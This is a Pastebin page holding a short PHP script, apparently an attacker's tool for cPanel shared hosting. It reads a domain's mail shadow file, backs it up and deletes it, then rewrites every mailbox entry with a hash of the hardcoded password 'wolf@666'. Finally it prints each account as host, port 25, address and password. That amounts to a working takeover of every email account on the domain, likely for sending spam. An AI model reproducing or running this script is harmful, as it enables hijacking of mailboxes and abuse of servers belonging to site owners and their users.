daily pastebin goal
47%
SHARE
TWEET

Untitled

a guest Jun 13th, 2018 76 in 359 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //Bksmile **(Xbrang Wolf)**
  3. set_time_limit(0);
  4. ini_set('max_execution_time',0);
  5. ini_set('memory_limit',-1);
  6. // port to scan
  7. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  8. $primary_port='25';
  9. //curent user
  10. $user=get_current_user();
  11. // Smtp password
  12. $password='wolf@666';
  13. //crypt
  14. $pwd = crypt($password,'$6$wolf@666$');
  15. // host name
  16.  $t = $_SERVER['SERVER_NAME'];
  17. //edit
  18.  $t = @str_replace("www.","",$t);
  19.  //get users
  20. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  21. //edit
  22. $ex=explode("\r\n",$passwd);
  23. //backup shadow
  24. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
  25. //delete shadow
  26. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  27. // :D
  28. foreach($ex as $ex){
  29. $ex=explode(':',$ex);
  30. $e= $ex[0];
  31. if ($e){
  32. $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  33. echo '<span style=\'color:#D33B3B;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';  "</center>";
  34. }}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top